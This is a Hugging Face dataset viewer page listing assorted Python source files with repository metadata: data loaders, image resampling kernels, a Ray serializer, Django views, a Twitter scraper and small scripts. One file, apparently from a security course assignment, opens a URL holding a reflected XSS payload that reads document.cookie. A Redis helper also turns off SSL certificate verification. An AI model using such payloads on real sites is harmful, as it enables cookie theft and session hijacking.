ytzi/the-stack-dedup-python-filtered · Datasets at Hugging Face

f9de9cbd50628088d488c6c5b4c6b194981f73ef

3,043

py

Python

imap.py

cynsky/voyage_data_emails

3cc3b1364248dd3fed56e4c9f4c3ad619c6650ae

[ "MIT" ]

1

2020-09-22T16:24:31.000Z

imap.py

cynsky/voyage_data_emails

3cc3b1364248dd3fed56e4c9f4c3ad619c6650ae

[ "MIT" ]

null

imap.py

cynsky/voyage_data_emails

3cc3b1364248dd3fed56e4c9f4c3ad619c6650ae

[ "MIT" ]

null

""" Read voyage data emails. """ import email from imaplib import IMAP4_SSL import logging OK = 'OK' logger = logging.getLogger(__name__)

20.019737

73

0.692737

f9de9f006fc9afa79a63265eef2873fd5e7b5f5b

1,991

py

Python

2021/python/day3.py

majormunky/advent_of_code

4cccd7f3879e28e465bbc39176659bdd52bd70d6

[ "MIT" ]

null

2021/python/day3.py

majormunky/advent_of_code

4cccd7f3879e28e465bbc39176659bdd52bd70d6

[ "MIT" ]

null

2021/python/day3.py

majormunky/advent_of_code

4cccd7f3879e28e465bbc39176659bdd52bd70d6

[ "MIT" ]

1

2020-12-04T06:12:01.000Z

from common import get_file_contents test_data = [ "00100", "11110", "10110", "10111", "10101", "01111", "00111", "11100", "10000", "11001", "00010", "01010", ] if __name__ == '__main__': print("Part 1: ", p1()) print("Part 2: ", p2())

20.316327

72

0.658463

f9e18afe3ddb7b565b697f03187cc311b80b604e

670

py

Python

dallinger/redis_utils.py

Dallinger/Dallinger

c3acf1375391ef8cb702641638bf5a5008aa9be3

[ "MIT" ]

100

2016-09-07T03:55:36.000Z

2022-02-28T02:20:10.000Z

dallinger/redis_utils.py

Dallinger/Dallinger

c3acf1375391ef8cb702641638bf5a5008aa9be3

[ "MIT" ]

3,457

2016-09-05T23:21:31.000Z

2022-03-31T19:11:31.000Z

dallinger/redis_utils.py

Dallinger/Dallinger

c3acf1375391ef8cb702641638bf5a5008aa9be3

[ "MIT" ]

53

2016-10-03T07:24:34.000Z

2021-10-20T20:42:38.000Z

import os import redis from urllib.parse import urlparse def connect_to_redis(url=None): """Return a connection to Redis. If a URL is supplied, it will be used, otherwise an environment variable is checked before falling back to a default. Since we are generally running on Heroku, and configuring SSL certificates is challenging, we disable cert requirements on secure connections. """ redis_url = url or os.getenv("REDIS_URL", "redis://localhost:6379") connection_args = {"url": redis_url} if urlparse(redis_url).scheme == "rediss": connection_args["ssl_cert_reqs"] = None return redis.from_url(**connection_args)

30.454545

78

0.723881

f9e1ea0fa4cb837c6d62e27ef66230461e2beb01

139

py

Python

libkludge/generate/this_access.py

zhangxiao6776/kludge

17a561f4b15399edd8175c883f8410a1b23c4d90

[ "BSD-3-Clause" ]

null

libkludge/generate/this_access.py

zhangxiao6776/kludge

17a561f4b15399edd8175c883f8410a1b23c4d90

[ "BSD-3-Clause" ]

null

libkludge/generate/this_access.py

zhangxiao6776/kludge

17a561f4b15399edd8175c883f8410a1b23c4d90

[ "BSD-3-Clause" ]

2

2017-12-01T20:44:14.000Z

2021-08-21T21:47:04.000Z

15.444444

68

0.676259

f9e2a6cf566ceeaab2c7f9874c63accbd13dbe53

88

py

Python

project/server/main/__init__.py

ardikabs/dnsmanager

4d2f302ea9f54fd4d5416328dc46a1c47b573e5b

[ "MIT" ]

1

2019-01-15T10:33:04.000Z

project/server/main/__init__.py

ardikabs/dnsmanager

4d2f302ea9f54fd4d5416328dc46a1c47b573e5b

[ "MIT" ]

null

project/server/main/__init__.py

ardikabs/dnsmanager

4d2f302ea9f54fd4d5416328dc46a1c47b573e5b

[ "MIT" ]

null

from . import modules

17.6

35

0.693182

f9e3c2c814e617eb1250bbe52b5026a15b1d2778

366

py

Python

Python by Harish/Class 1/Loops.py

kai92a/Learning_Python

5195aeb950e21150838c44d7c6af87cd86d31301

[ "MIT" ]

null

Python by Harish/Class 1/Loops.py

kai92a/Learning_Python

5195aeb950e21150838c44d7c6af87cd86d31301

[ "MIT" ]

null

Python by Harish/Class 1/Loops.py

kai92a/Learning_Python

5195aeb950e21150838c44d7c6af87cd86d31301

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Thu Sep 2 03:02:57 2021 @author: sgaa_ """ print ("for loop") for i in range (1,20): print (i) print ("while loop") i=1 while i<12: print (i) i+=1 if 1 in range(2,5): print ("Yes 1 is in the range") elif 3 in range (3,5): print ("Yes 1 is in range 2") else: print ("1 is not in both the ranges")

14.64

41

0.565574

f9e4232dbd5470195e751b3cfb7348b26305a4d1

12,684

py

Python

src/utils/datasets.py

gorjanradevski/siamese_multi_head_attention

fcbfe21f284bf98a1d0e725a9e6f2df19363b4a5

[ "MIT" ]

2

2020-06-11T03:03:35.000Z

2022-01-08T07:15:46.000Z

src/utils/datasets.py

gorjanradevski/multimodal_representations_deep_learning

fcbfe21f284bf98a1d0e725a9e6f2df19363b4a5

[ "MIT" ]

null

src/utils/datasets.py

gorjanradevski/multimodal_representations_deep_learning

fcbfe21f284bf98a1d0e725a9e6f2df19363b4a5

[ "MIT" ]

null

import json import re import os import logging from abc import ABC from typing import Dict, Any, List, Tuple from utils.constants import pascal_train_size, pascal_val_size logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def preprocess_caption(caption: str) -> str: """Basic method used around all classes Performs pre-processing of the caption in the following way: 1. Converts the whole caption to lower case. 2. Removes all characters which are not letters. Args: caption: A list of words contained in the caption. Returns: """ caption = caption.lower() caption = re.sub("[^a-z' ]+", "", caption) caption = re.sub("\s+", " ", caption).strip() # NOQA caption = caption.strip() return caption class TrainCocoDataset(BaseCocoDataset): # Adapted for working with the Microsoft COCO dataset. def __init__(self, images_path: str, json_path: str): """Creates a dataset object. Args: images_path: Path where the images are located. json_path: Path to the json file where the mappings are indicated as well as the captions. """ super().__init__(images_path, json_path) logger.info("Class variables set...") class ValCocoDataset(BaseCocoDataset): # Adapted for working with the Microsoft COCO dataset. def __init__(self, images_path: str, json_path: str, val_size: int = None): """Creates a dataset object. Args: images_path: Path where the images are located. json_path: Path to the json file where the mappings are indicated as well as the captions. val_size: The size of the validation set. """ super().__init__(images_path, json_path) self.val_size = val_size class FlickrDataset: # Adapted for working with the Flickr8k and Flickr30k dataset. def get_data(self, images_file_path: str): image_paths, captions = self.get_data_wrapper( images_file_path, self.img_path_caption, self.images_path ) return image_paths, captions class PascalSentencesDataset: # Adapted for working with the Pascal sentences dataset. def __init__(self, images_path, texts_path): self.category_image_path_captions = self.parse_captions_filenames( texts_path, images_path ) def get_train_data(self): img_paths, cap = self.get_data_wrapper( self.category_image_path_captions, "train" ) return img_paths, cap def get_val_data(self): img_paths, cap = self.get_data_wrapper(self.category_image_path_captions, "val") return img_paths, cap def get_test_data(self): img_paths, cap = self.get_data_wrapper( self.category_image_path_captions, "test" ) return img_paths, cap

34.467391

88

0.601861

dda43962342edb0739a7efdbd01b8d80c87c5e19

26,474

py

Python

libica/openapi/libgds/api/volumes_api.py

umccr-illumina/libica

916d27eea499f29bee590268b84208effb0cc576

[ "MIT" ]

null

libica/openapi/libgds/api/volumes_api.py

umccr-illumina/libica

916d27eea499f29bee590268b84208effb0cc576

[ "MIT" ]

4

2021-11-15T10:47:51.000Z

2022-02-22T04:43:20.000Z

libica/openapi/libgds/api/volumes_api.py

umccr-illumina/libica

916d27eea499f29bee590268b84208effb0cc576

[ "MIT" ]

null

# coding: utf-8 """ Genomic Data Store Service No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: v1 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from libica.openapi.libgds.api_client import ApiClient from libica.openapi.libgds.exceptions import ( # noqa: F401 ApiTypeError, ApiValueError )

49.116883

261

0.619136

dda4affe6b2847c17389112e2763a725bc4f7b5b

5,545

py

Python

jaxtorch/image.py

GallagherCommaJack/jaxtorch

3bc6785d781f12fabf3a436d9cfc0b839ebf5aec

[ "MIT" ]

null

jaxtorch/image.py

GallagherCommaJack/jaxtorch

3bc6785d781f12fabf3a436d9cfc0b839ebf5aec

[ "MIT" ]

null

jaxtorch/image.py

GallagherCommaJack/jaxtorch

3bc6785d781f12fabf3a436d9cfc0b839ebf5aec

[ "MIT" ]

null

import math from typing import Tuple import jax import jax.numpy as jnp import numpy as np from einops import repeat upsample_arrays = dict( lanczos3=np.array( [ 0.0073782638646662235, 0.030112292617559433, -0.06799723953008652, -0.13327467441558838, 0.2710106074810028, 0.8927707076072693, 0.8927707672119141, 0.2710106074810028, -0.13327467441558838, -0.06799724698066711, 0.03011229634284973, 0.007378263399004936, ], ), cubic=np.array( [ -0.0234375, -0.0703125, 0.2265625, 0.8671875, 0.8671875, 0.2265625, -0.0703125, -0.0234375, ], ), linear=np.array([0.25, 0.75, 0.75, 0.25]), ) downsample_arrays = dict( lanczos3=np.array( [ 0.003689131001010537, 0.015056144446134567, -0.03399861603975296, -0.066637322306633, 0.13550527393817902, 0.44638532400131226, 0.44638532400131226, 0.13550527393817902, -0.066637322306633, -0.03399861603975296, 0.015056144446134567, 0.003689131001010537, ] ), cubic=np.array( [ -0.01171875, -0.03515625, 0.11328125, 0.43359375, 0.43359375, 0.11328125, -0.03515625, -0.01171875, ] ), linear=np.array([0.125, 0.375, 0.375, 0.125]), )

25.671296

85

0.544274

dda604bdbe931306a411dfabae424401c18dc54e

1,210

py

Python

1-image2ascii/image2ascii.py

dourgey/Python_Exercise

f41d69033b76d2fea3671f751e936cb804742b57

[ "MIT" ]

null

1-image2ascii/image2ascii.py

dourgey/Python_Exercise

f41d69033b76d2fea3671f751e936cb804742b57

[ "MIT" ]

null

1-image2ascii/image2ascii.py

dourgey/Python_Exercise

f41d69033b76d2fea3671f751e936cb804742b57

[ "MIT" ]

null

# Author: @dourgey # Create Time: 2019/12/27: 18:06 # # argparse # # PILLOW # import argparse import os import sys from PIL import Image parser = argparse.ArgumentParser() parser.add_argument("-i", "--image", help="~") parser.add_argument("-f", "--file", help="~") args = parser.parse_args() if not os.path.exists(args.image): # print("~") sys.exit(0) img_path = args.image im = Image.open(img_path) width, height = im.size t_height = int(height / width * 100 / 2.5) im = im.resize((100, t_height), Image.ANTIALIAS) f = open(args.file, "w") # # for i in range(t_height): for j in range(100): r, g, b = im.getpixel((j, i)) f.write( get_char(r, g, b) ) f.write("\n") f.close() print("~")

22

107

0.629752

dda62a60e83b2ac0fa35757329d616e26ea6b265

6,536

py

Python

python/ray/serialization.py

delding/ray

8532ba4272556aa24b5e0c7d275c7b383815c022

[ "Apache-2.0" ]

null

python/ray/serialization.py

delding/ray

8532ba4272556aa24b5e0c7d275c7b383815c022

[ "Apache-2.0" ]

null

python/ray/serialization.py

delding/ray

8532ba4272556aa24b5e0c7d275c7b383815c022

[ "Apache-2.0" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import ray.numbuf import ray.pickling as pickling def check_serializable(cls): """Throws an exception if Ray cannot serialize this class efficiently. Args: cls (type): The class to be serialized. Raises: Exception: An exception is raised if Ray cannot serialize this class efficiently. """ if is_named_tuple(cls): # This case works. return if not hasattr(cls, "__new__"): raise Exception("The class {} does not have a '__new__' attribute, and is " "probably an old-style class. We do not support this. " "Please either make it a new-style class by inheriting " "from 'object', or use " "'ray.register_class(cls, pickle=True)'. However, note " "that pickle is inefficient.".format(cls)) try: obj = cls.__new__(cls) except: raise Exception("The class {} has overridden '__new__', so Ray may not be " "able to serialize it efficiently. Try using " "'ray.register_class(cls, pickle=True)'. However, note " "that pickle is inefficient.".format(cls)) if not hasattr(obj, "__dict__"): raise Exception("Objects of the class {} do not have a `__dict__` " "attribute, so Ray cannot serialize it efficiently. Try " "using 'ray.register_class(cls, pickle=True)'. However, " "note that pickle is inefficient.".format(cls)) if hasattr(obj, "__slots__"): raise Exception("The class {} uses '__slots__', so Ray may not be able to " "serialize it efficiently. Try using " "'ray.register_class(cls, pickle=True)'. However, note " "that pickle is inefficient.".format(cls)) # This field keeps track of a whitelisted set of classes that Ray will # serialize. whitelisted_classes = {} classes_to_pickle = set() custom_serializers = {} custom_deserializers = {} def class_identifier(typ): """Return a string that identifies this type.""" return "{}.{}".format(typ.__module__, typ.__name__) def is_named_tuple(cls): """Return True if cls is a namedtuple and False otherwise.""" b = cls.__bases__ if len(b) != 1 or b[0] != tuple: return False f = getattr(cls, "_fields", None) if not isinstance(f, tuple): return False return all(type(n) == str for n in f) def add_class_to_whitelist(cls, pickle=False, custom_serializer=None, custom_deserializer=None): """Add cls to the list of classes that we can serialize. Args: cls (type): The class that we can serialize. pickle (bool): True if the serialization should be done with pickle. False if it should be done efficiently with Ray. custom_serializer: This argument is optional, but can be provided to serialize objects of the class in a particular way. custom_deserializer: This argument is optional, but can be provided to deserialize objects of the class in a particular way. """ class_id = class_identifier(cls) whitelisted_classes[class_id] = cls if pickle: classes_to_pickle.add(class_id) if custom_serializer is not None: custom_serializers[class_id] = custom_serializer custom_deserializers[class_id] = custom_deserializer # Here we define a custom serializer and deserializer for handling numpy # arrays that contain objects. add_class_to_whitelist(np.ndarray, pickle=False, custom_serializer=array_custom_serializer, custom_deserializer=array_custom_deserializer) def serialize(obj): """This is the callback that will be used by numbuf. If numbuf does not know how to serialize an object, it will call this method. Args: obj (object): A Python object. Returns: A dictionary that has the key "_pyttype_" to identify the class, and contains all information needed to reconstruct the object. """ class_id = class_identifier(type(obj)) if class_id not in whitelisted_classes: raise Exception("Ray does not know how to serialize objects of type {}. " "To fix this, call 'ray.register_class' with this class." .format(type(obj))) if class_id in classes_to_pickle: serialized_obj = {"data": pickling.dumps(obj)} elif class_id in custom_serializers.keys(): serialized_obj = {"data": custom_serializers[class_id](obj)} else: # Handle the namedtuple case. if is_named_tuple(type(obj)): serialized_obj = {} serialized_obj["_ray_getnewargs_"] = obj.__getnewargs__() elif hasattr(obj, "__dict__"): serialized_obj = obj.__dict__ else: raise Exception("We do not know how to serialize the object '{}'" .format(obj)) result = dict(serialized_obj, **{"_pytype_": class_id}) return result def deserialize(serialized_obj): """This is the callback that will be used by numbuf. If numbuf encounters a dictionary that contains the key "_pytype_" during deserialization, it will ask this callback to deserialize the object. Args: serialized_obj (object): A dictionary that contains the key "_pytype_". Returns: A Python object. """ class_id = serialized_obj["_pytype_"] cls = whitelisted_classes[class_id] if class_id in classes_to_pickle: obj = pickling.loads(serialized_obj["data"]) elif class_id in custom_deserializers.keys(): obj = custom_deserializers[class_id](serialized_obj["data"]) else: # In this case, serialized_obj should just be the __dict__ field. if "_ray_getnewargs_" in serialized_obj: obj = cls.__new__(cls, *serialized_obj["_ray_getnewargs_"]) else: obj = cls.__new__(cls) serialized_obj.pop("_pytype_") obj.__dict__.update(serialized_obj) return obj def set_callbacks(): """Register the custom callbacks with numbuf. The serialize callback is used to serialize objects that numbuf does not know how to serialize (for example custom Python classes). The deserialize callback is used to serialize objects that were serialized by the serialize callback. """ ray.numbuf.register_callbacks(serialize, deserialize)

35.521739

79

0.684823

dda91173fa6aa6ba29a55f8ecc21898b460a57e2

3,729

py

Python

wlcsim/FrankElastic/stonefence.py

SpakowitzLab/BasicWLC

13edbbc8e8cd36a3586571ff4d80880fc89d30e6

[ "MIT" ]

1

2021-03-16T01:39:18.000Z

wlcsim/FrankElastic/stonefence.py

riscalab/wlcsim

e34877ef6c5dc83c6444380dbe624b371d70faf2

[ "MIT" ]

17

2016-07-08T21:17:40.000Z

2017-01-24T09:05:25.000Z

wlcsim/FrankElastic/stonefence.py

riscalab/wlcsim

e34877ef6c5dc83c6444380dbe624b371d70faf2

[ "MIT" ]

9

2016-06-21T22:03:53.000Z

2016-11-10T00:55:01.000Z

from numpy import sqrt import numpy as np #from util import sphinx_compat_jit as jit from numba import jit ORDER_L=50 def precalculate_data(p, gamma, m_values=[0]): """Precalculate W_plus, W_minus, W_pm, and G_m_ll Args: p (complex): laplace conjugate of path length gamma (real): aligning l=2 (Maier-Saupe) field strength m_values (list): list of integer m values to precalculate for """ Wps = {} Wms = {} Gmlls = {} for m in m_values: Am = Alm_vec(m) PgammaB = PgammaB_vec(m, p, gamma) Wplus = Wplus_vec(m, gamma, p, Am, PgammaB) Wminus = Wminus_vec(m, gamma, p, Am, PgammaB) Gmll = Gmll_matrix(Wplus, Wminus, Am, PgammaB, gamma, m) Wps[m]=Wplus Wms[m]=Wminus Gmlls[m] = Gmll return {"Wplus":Wps, "Wminus":Wms, "Gmll":Gmlls, "ms":m_values, "p":p, "gamma":gamma}

30.565574

79

0.592116

dda9ad1f88ac589e37e334d17add8aea6f4a5cd4

2,694

py

Python

main.py

vojtsek/twitter-sentiment

8f3fbb7be8ac9c0e786b5a58253a24ee8b3f5dae

[ "MIT" ]

null

main.py

vojtsek/twitter-sentiment

8f3fbb7be8ac9c0e786b5a58253a24ee8b3f5dae

[ "MIT" ]

null

main.py

vojtsek/twitter-sentiment

8f3fbb7be8ac9c0e786b5a58253a24ee8b3f5dae

[ "MIT" ]

null

#!/usr/bin/env python import logging import json import os import os.path as path from collections import OrderedDict import argparse import tweepy from tweepy import Stream import twitter_config from tweet_writer_listener import TweetWriterListener CITIES = ['San Francisco', 'New York', 'Boston', 'Los Angeles', 'Dallas', 'Miami'] OUT_DIR = 'out' BBOX_FILE = path.join(OUT_DIR, 'bboxes.json') if __name__ == '__main__': logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO) logging.getLogger("tweetpy").setLevel(logging.WARNING) logging.getLogger("requests").setLevel(logging.WARNING) logging.getLogger("urllib3").setLevel(logging.WARNING) parser = argparse.ArgumentParser('Twitter sentiment analysis') parser.add_argument('--limit', type=int, required=True, help='Tweet limit per city') args = parser.parse_args() mkdir_if_not_exists(OUT_DIR) logging.info('API authentization') auth = tweepy.OAuthHandler(twitter_config.CONSUMER_KEY, twitter_config.CONSUMER_SECRET) auth.set_access_token(twitter_config.ACCESS_TOKEN, twitter_config.ACCESS_TOKEN_SECRET) api = tweepy.API(auth) # for country in countries: if path.isfile(BBOX_FILE): logging.info('Using the cached bounding boxes from file %s', BBOX_FILE) bboxes = json.load(open(BBOX_FILE, 'r')) else: logging.info('Caching the bounding boxes into file %s', BBOX_FILE) bboxes = OrderedDict() for city in CITIES: try: place_bb = place2coords(city) bboxes[city] = place_bb except: print('Coords error') json.dump(bboxes, open(BBOX_FILE, 'w')) logging.info('Creating stream') for city, locations in bboxes.items(): logging.info('Getting tweets from %s (%s)', city, locations) with open(path.join(OUT_DIR, "{}_tweets.txt".format(city.replace(' ', ''))), 'a') as f_out: stream = Stream(auth, TweetWriterListener(f_out, args.limit)) stream.filter(locations=locations, languages=["en"], async=False)

32.071429

99

0.682257

ddaa279788a0d07cc55b56c6e5a215a8e2e118cc

9,283

py

Python

controllers/default.py

npfe/pursuit

edd2d66ec0770251041b748c4b9f967a15c138b5

[ "Unlicense" ]

null

controllers/default.py

npfe/pursuit

edd2d66ec0770251041b748c4b9f967a15c138b5

[ "Unlicense" ]

16

2020-03-30T13:00:10.000Z

2020-05-16T16:42:52.000Z

controllers/default.py

npfe/pursuit

edd2d66ec0770251041b748c4b9f967a15c138b5

[ "Unlicense" ]

null

# -*- coding: utf-8 -*- # ------------------------------------------------------------------------- # This is a sample controller # this file is released under public domain and you can use without limitations # ------------------------------------------------------------------------- import json from datetime import datetime from pprint import pprint status = {1:'not_started', 2:'hold', 3:'track', 4:'done'} # ---- index page ---- # ---- action to server uploaded static content (required) ---

39.004202

129

0.596251

ddaaf774a1abba687897e41a33028b028a3ed7fd

2,200

py

Python

convertgf.py

Wivik/gundam-france

65d84098eec431e7e27b6a6c0f1e6eadea1c2bc8

[ "MIT" ]

null

convertgf.py

Wivik/gundam-france

65d84098eec431e7e27b6a6c0f1e6eadea1c2bc8

[ "MIT" ]

null

convertgf.py

Wivik/gundam-france

65d84098eec431e7e27b6a6c0f1e6eadea1c2bc8

[ "MIT" ]

null

#!/usr/bin/env python3 from markdownify import markdownify as md import argparse import re import os import sys parser = argparse.ArgumentParser() parser.add_argument('input_file', help='file to convert') args = parser.parse_args() input_file = args.input_file print(input_file) if not re.search('.dist.php', input_file): test_file = re.sub('\.php', '.dist.php', input_file) print(test_file) try: os.stat(test_file) print('file dist exists, ignoring') sys.exit(0) except: os.rename(input_file, test_file) print('file renamed, rerun job') sys.exit(0) output_file = os.path.splitext(input_file)[0] output_file = os.path.splitext(output_file)[0] output_file = output_file + '.md' print(output_file) # sys.exit(0) with open(input_file, 'r') as file: content = file.read() html = md(content) firstline = html.split('\n', 1)[0] if re.search('php include', firstline): print('ignore file') # os.remove(input_file) sys.exit(0) # print(firstline) ## fix images path html = html.replace('](images/', '](/images/') # html = re.sub("{lien:db:(\d+):", "", html) # html = re.sub("(html:lien})", "", html) html = re.sub("(\s)({lien:db:)(\d+):(.*):(.*)(\.html:lien})(\s)", " \\4 ", html) html = re.sub("()({lien:db:)(\d+):(.*):(.*)(\.html:lien})(,)", "'\\4 ", html) html = re.sub("(\s)({lien:db:)(\d+):(.*):(.*)(\.html:lien})(,)", " \\4,", html) # html = re.sub("(\)({lien:db:)(\d+):(.*):(.*)(\.html:lien})(,)", " \\4,", html) # html = re.sub("(\)({lien:db:)(\d+):(.*):(.*)(\.html:lien})(\s)", " \\4,", html) # html = re.sub("(\)({lien:db:)(\d+):(.*):(.*)(\.html:lien})(\.)", " \\4.", html) html = re.sub("(\s)({lien:db:)(\d+):(.*):(.*)(\.html:lien})(\.)", " \\4.", html) html = re.sub("(<\?php echo \$_SERVER\[\'REQUEST_URI\'\]; \?>)", "", html) html = re.sub("(php include$\"modules/flag\\_spoiler\.php\"$; \?)", "", html) # print(html) result = '---\ntitle: "'+ firstline + '"\n---\n\n' + html # print(output) with (open(output_file, 'w')) as output: output.write(result) output.close() file.close()

32.352941

86

0.537727

ddab10387c063d1c5dd03502020dc60340b9c9c1

1,957

py

Python

scripts/disktest.py

CloudAdvocacy/ObjectDetection

ba823455a43684dea8f0bc1eab6f669a818895bb

[ "MIT" ]

null

scripts/disktest.py

CloudAdvocacy/ObjectDetection

ba823455a43684dea8f0bc1eab6f669a818895bb

[ "MIT" ]

null

scripts/disktest.py

CloudAdvocacy/ObjectDetection

ba823455a43684dea8f0bc1eab6f669a818895bb

[ "MIT" ]

null

import io, os import argparse from timeit import default_timer as timer parser = argparse.ArgumentParser(description="File Performance Testing Util") parser.add_argument("command",help="Test to perform",choices=['read','write','readany']) parser.add_argument("dir",help="Directory to use") args = parser.parse_args() if args.command == "read": time("1000 1k files",1024*1000,lambda: read_test(1000,1024)) time("100 1M files",1024*1024*100,lambda: read_test(100,1024*1024)) time("10 10M files",10*1024*1024*10,lambda: read_test(10,1024*1024*10)) time("1 100M files",1*1024*1024*100,lambda: read_test(1,1024*1024*100)) elif args.command == "write": time("1000 1k files",1024*1000,lambda: write_test(1000,1024)) time("100 1M files",1024*1024*100,lambda: write_test(100,1024*1024)) time("10 10M files",10*1024*1024*10,lambda: write_test(10,1024*1024*10)) time("1 100M files",1*1024*1024*100,lambda: write_test(1,1024*1024*100)) elif args.command == "readany": read_test()

33.169492

94

0.616249

ddab703f80463a12929dce437920fcb4f1403fd4

151

py

Python

assignment2/scripts/exploit15/exploit15.py

vhazali/cs5331

3b3618aaa17199ebcd3c01bc6c25ddbdbe4f3d0f

[ "MIT" ]

8

2020-02-22T12:47:12.000Z

2021-12-03T11:39:19.000Z

assignment2/scripts/exploit15/exploit15.py

vhazali/cs5331

3b3618aaa17199ebcd3c01bc6c25ddbdbe4f3d0f

[ "MIT" ]

null

assignment2/scripts/exploit15/exploit15.py

vhazali/cs5331

3b3618aaa17199ebcd3c01bc6c25ddbdbe4f3d0f

[ "MIT" ]

4

2018-08-15T12:58:36.000Z

2021-12-29T07:06:29.000Z

import webbrowser url = 'http://www.wsb.com/Assignment2/case15.php?videourl=" onerror="alert(document.cookie)' new = 2 webbrowser.open(url, new=new)

21.571429

92

0.748344

ddabee57641e5f2212bdb1af4233c76d2dc9db3e

2,238

py

Python

introspection/call_stack.py

Aran-Fey/introspection

0ce3a16688b51bdcb72c7b070d571a1004f5151b

[ "MIT" ]

1

2022-03-02T23:13:06.000Z

introspection/call_stack.py

Aran-Fey/introspection

0ce3a16688b51bdcb72c7b070d571a1004f5151b

[ "MIT" ]

null

introspection/call_stack.py

Aran-Fey/introspection

0ce3a16688b51bdcb72c7b070d571a1004f5151b

[ "MIT" ]

null

import types from typing import Iterable, Union from .call_frame import CallFrame __all__ = ['CallStack']

26.963855

156

0.626005

ddaf61fd3b67b0ad82d3ff5a5a750292ac61bd57

2,728

py

Python

products/views.py

deepindo/DoPython

d80b85b3b24566de6ece9f452564e4827e705959

[ "MIT" ]

4

2022-01-04T09:56:19.000Z

2022-01-20T12:14:16.000Z

products/views.py

deepindo/DoPython

d80b85b3b24566de6ece9f452564e4827e705959

[ "MIT" ]

null

products/views.py

deepindo/DoPython

d80b85b3b24566de6ece9f452564e4827e705959

[ "MIT" ]

1

2022-01-20T09:40:16.000Z

from django.shortcuts import render, get_object_or_404 from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage from products.models import Product def productList(request, productName): """""" submenu = productName if productName == 'robot': productName = '' elif productName == 'monitor': productName = '' else: productName = '' product_list = Product.objects.filter(product_type=productName).order_by('-publish_date') # # 2 p = Paginator(product_list, 2) if p.num_pages <= 1: page_data = '' else: # 1 page = int(request.GET.get('page', 1)) # product_list = p.page(page) left = [] right = [] left_has_more = False right_has_more = False first = False last = False total_pages = p.num_pages # page_range = p.page_range # if page == 1: right = page_range[page:page + 2] print(total_pages) if right[-1] < total_pages - 1: right_has_more = True if right[-1] < total_pages: last = True elif page == total_pages: left = page_range[(page - 3) if (page - 3) > 0 else 0:page - 1] if left[0] > 2: left_has_more = True if left[0] > 1: first = True else: left = page_range[(page - 3) if (page - 3) > 0 else 0:page - 1] right = page_range[page:page + 2] if left[0] > 2: left_has_more = True if left[0] > 1: first = True if right[-1] < total_pages - 1: right_has_more = True if right[-1] < total_pages: last = True page_data = { 'left': left, 'right': right, 'left_has_more': left_has_more, 'right_has_more': right_has_more, 'first': first, 'last': last, 'total_pages': total_pages, 'page': page, } context = { 'active_menu': 'products', 'sub_menu': submenu, 'productName': productName, 'productList': product_list, 'pageData': page_data } return render(request, 'products/productList.html', context) def productDetail(request, id): """""" product = get_object_or_404(Product, id=id) # id404 product.product_views += 1 # 1 product.save() return render(request, 'products/productDetail.html', { 'active_menu': 'products', 'product': product, })

29.978022

93

0.535924

ddb0240924a8101cddcbf80261a52d4f5843c4bf

1,545

py

Python

misc/CharacterMotion.py

qwewqa/dl-datamine

a8e050731f67e4cf49123947eadf66ac0fd948ca

[ "MIT" ]

2

2020-03-31T00:07:54.000Z

2020-04-01T23:39:23.000Z

misc/CharacterMotion.py

qwewqa/dl-datamine

a8e050731f67e4cf49123947eadf66ac0fd948ca

[ "MIT" ]

null

misc/CharacterMotion.py

qwewqa/dl-datamine

a8e050731f67e4cf49123947eadf66ac0fd948ca

[ "MIT" ]

1

2021-08-02T04:21:31.000Z

import json import os from dataclasses import dataclass, field from typing import Dict, Optional

28.611111

100

0.618123

ddb050b82209d0997ed09ca448c8c2752e16f7c5

14,431

py

Python

kube/config.py

nearmap/kubefs

e2f6c019f04e436d031874e40c59ba0ee61d8c58

[ "MIT" ]

3

2021-05-31T06:45:37.000Z

2021-10-05T22:36:37.000Z

kube/config.py

nearmap/kubefs

e2f6c019f04e436d031874e40c59ba0ee61d8c58

[ "MIT" ]

8

2021-09-06T00:43:13.000Z

2021-10-01T00:22:53.000Z

kube/config.py

nearmap/kubefs

e2f6c019f04e436d031874e40c59ba0ee61d8c58

[ "MIT" ]

null

import base64 import fnmatch import logging import os import tempfile from ssl import SSLContext, create_default_context from typing import Dict, List, Optional, Sequence import yaml from kube.tools.repr import disp_secret_blob, disp_secret_string def get_selector() -> KubeConfigSelector: loader = KubeConfigLoader() collection = loader.create_collection() selector = KubeConfigSelector(collection=collection) return selector

30.901499

86

0.56538

ddb11949c25d2f8ec4e231606475f6d7c71dff61

1,256

py

Python

other/application/windowApp/test6.py

Ethan7102/FYP

c6560a0b95ad78d5e1a341ab2d93c063e10c6631

[ "MIT" ]

null

other/application/windowApp/test6.py

Ethan7102/FYP

c6560a0b95ad78d5e1a341ab2d93c063e10c6631

[ "MIT" ]

null

other/application/windowApp/test6.py

Ethan7102/FYP

c6560a0b95ad78d5e1a341ab2d93c063e10c6631

[ "MIT" ]

1

2021-01-23T07:59:57.000Z

from PyQt5.QtCore import QThread, pyqtSignal, QDateTime, QObject from PyQt5.QtWidgets import QApplication, QDialog, QLineEdit import time import sys if __name__ == '__main__': app = QApplication(sys.argv) win = Window() win.show() sys.exit(app.exec_())

25.632653

64

0.627389

ddb1e5dab629942b29ba8fb6aab9cb866f52c858

13,098

py

Python

model/meter.py

meiwei92/meter-alignment

dc92e4aca0ca80ed1c9418027b050e9631b5fb7a

[ "MIT" ]

null

model/meter.py

meiwei92/meter-alignment

dc92e4aca0ca80ed1c9418027b050e9631b5fb7a

[ "MIT" ]

null

model/meter.py

meiwei92/meter-alignment

dc92e4aca0ca80ed1c9418027b050e9631b5fb7a

[ "MIT" ]

null

from __future__ import annotations from typing import List, Tuple, OrderedDict as OrderedDictType, DefaultDict, Optional from collections import OrderedDict, defaultdict from metric import MusicNote, TimePointSequence from model.base import MidiModel, MidiModelState from model.beat import TatumTrackingModelState, TatumTrackingGrammarModelState from model.voice import VoiceSplittingModelState, VoiceSplittingGrammarModelState from model.hierarchy import HierarchyModelState, HierarchyGrammarModelState

42.803922

134

0.64506

ddb3b3248298a56481c0e14a355de5998e1c7be4

1,029

py

Python

hw2skeleton/find_features.py

hasuni-max/hw2-skeleton

